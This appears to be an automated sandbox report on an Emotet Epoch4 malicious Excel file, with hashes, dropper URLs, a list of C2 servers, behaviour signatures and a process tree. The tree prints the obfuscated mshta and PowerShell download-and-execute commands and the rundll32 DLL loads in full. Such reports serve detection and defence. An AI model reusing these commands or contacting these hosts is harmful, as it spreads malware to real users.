emotet | 9296f02a362c27b1e3a3b4119ede64ea52b6c0430fc70517e5146730c23c987d

General

Target

9296f02a362c27b1e3a3b4119ede64ea52b6c0430fc70517e5146730c23c987d.xls
Size

70KB
MD5

e85aa320fc84a740efaa1e2ce533bcda
SHA1

3967a9b469537e2d5854727020d298f37edded63
SHA256

9296f02a362c27b1e3a3b4119ede64ea52b6c0430fc70517e5146730c23c987d
SHA512

4968e18fad786be5f207f6124f266ce1844dc7e797688308e692ff7a788ca1558abf6cdcaa5b692b093740b4eeff070aeb14bf18ab1b936a3b6c02e4d8f67572

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3432	2464	cmd.exe	67

Blocklisted process makes network request 5 IoCs

flow	pid	Process
29	3520	mshta.exe
35	688	powershell.exe
37	688	powershell.exe
45	1968	rundll32.exe
47	1968	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2592	rundll32.exe
1668	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Qbircluxuh\smllkd.xaj	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1040	3520	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2464	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
688	powershell.exe
688	powershell.exe
688	powershell.exe
1968	rundll32.exe
1968	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	688	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE
2464	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2464 wrote to memory of 3432	2464	EXCEL.EXE	70
PID 2464 wrote to memory of 3432	2464	EXCEL.EXE	70
PID 3432 wrote to memory of 3520	3432	cmd.exe	73
PID 3432 wrote to memory of 3520	3432	cmd.exe	73
PID 3520 wrote to memory of 688	3520	mshta.exe	75
PID 3520 wrote to memory of 688	3520	mshta.exe	75
PID 688 wrote to memory of 3732	688	powershell.exe	78
PID 688 wrote to memory of 3732	688	powershell.exe	78
PID 3732 wrote to memory of 2592	3732	cmd.exe	79
PID 3732 wrote to memory of 2592	3732	cmd.exe	79
PID 3732 wrote to memory of 2592	3732	cmd.exe	79
PID 2592 wrote to memory of 1668	2592	rundll32.exe	80
PID 2592 wrote to memory of 1668	2592	rundll32.exe	80
PID 2592 wrote to memory of 1668	2592	rundll32.exe	80
PID 1668 wrote to memory of 2988	1668	rundll32.exe	81
PID 1668 wrote to memory of 2988	1668	rundll32.exe	81
PID 1668 wrote to memory of 2988	1668	rundll32.exe	81
PID 2988 wrote to memory of 1968	2988	rundll32.exe	82
PID 2988 wrote to memory of 1968	2988	rundll32.exe	82
PID 2988 wrote to memory of 1968	2988	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9296f02a362c27b1e3a3b4119ede64ea52b6c0430fc70517e5146730c23c987d.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2464
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3432
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3520
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:688
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3732
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2592
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1668
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qbircluxuh\smllkd.xaj",jkjKlDmIwWEF
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2988
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Qbircluxuh\smllkd.xaj",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1968
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3520 -s 1832
      4⤵
      Program crash
      PID:1040

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/688-273-0x000001E132050000-0x000001E132072000-memory.dmp

Filesize
136KB

Download
memory/688-293-0x000001E1320C3000-0x000001E1320C5000-memory.dmp

Filesize
8KB

Download
memory/688-311-0x000001E1320C6000-0x000001E1320C8000-memory.dmp

Filesize
8KB

Download
memory/688-306-0x000001E14AD20000-0x000001E14AD96000-memory.dmp

Filesize
472KB

Download
memory/688-294-0x000001E14A8B0000-0x000001E14A8EC000-memory.dmp

Filesize
240KB

Download
memory/688-292-0x000001E1320C0000-0x000001E1320C2000-memory.dmp

Filesize
8KB

Download
memory/1668-335-0x00000000048F0000-0x0000000004916000-memory.dmp

Filesize
152KB

Download
memory/1668-323-0x0000000000B10000-0x0000000000B36000-memory.dmp

Filesize
152KB

Download
memory/1668-332-0x0000000004790000-0x00000000047B6000-memory.dmp

Filesize
152KB

Download
memory/1668-330-0x0000000004730000-0x0000000004756000-memory.dmp

Filesize
152KB

Download
memory/1668-327-0x00000000011F0000-0x0000000001216000-memory.dmp

Filesize
152KB

Download
memory/1668-325-0x0000000001100000-0x0000000001126000-memory.dmp

Filesize
152KB

Download
memory/1968-337-0x00000000012A0000-0x00000000012C6000-memory.dmp

Filesize
152KB

Download
memory/1968-340-0x0000000004F10000-0x0000000004F36000-memory.dmp

Filesize
152KB

Download
memory/2464-116-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2464-121-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2464-117-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2464-118-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2464-115-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2464-129-0x00007FFDC85C0000-0x00007FFDC85D0000-memory.dmp

Filesize
64KB

Download
memory/2464-128-0x00007FFDC85C0000-0x00007FFDC85D0000-memory.dmp

Filesize
64KB

Download
memory/2464-377-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2464-378-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2464-379-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2464-380-0x00007FFDCB810000-0x00007FFDCB820000-memory.dmp

Filesize
64KB

Download
memory/2592-320-0x00000000048B0000-0x00000000048D6000-memory.dmp

Filesize
152KB

Download
memory/2988-334-0x0000000000F30000-0x0000000000F56000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads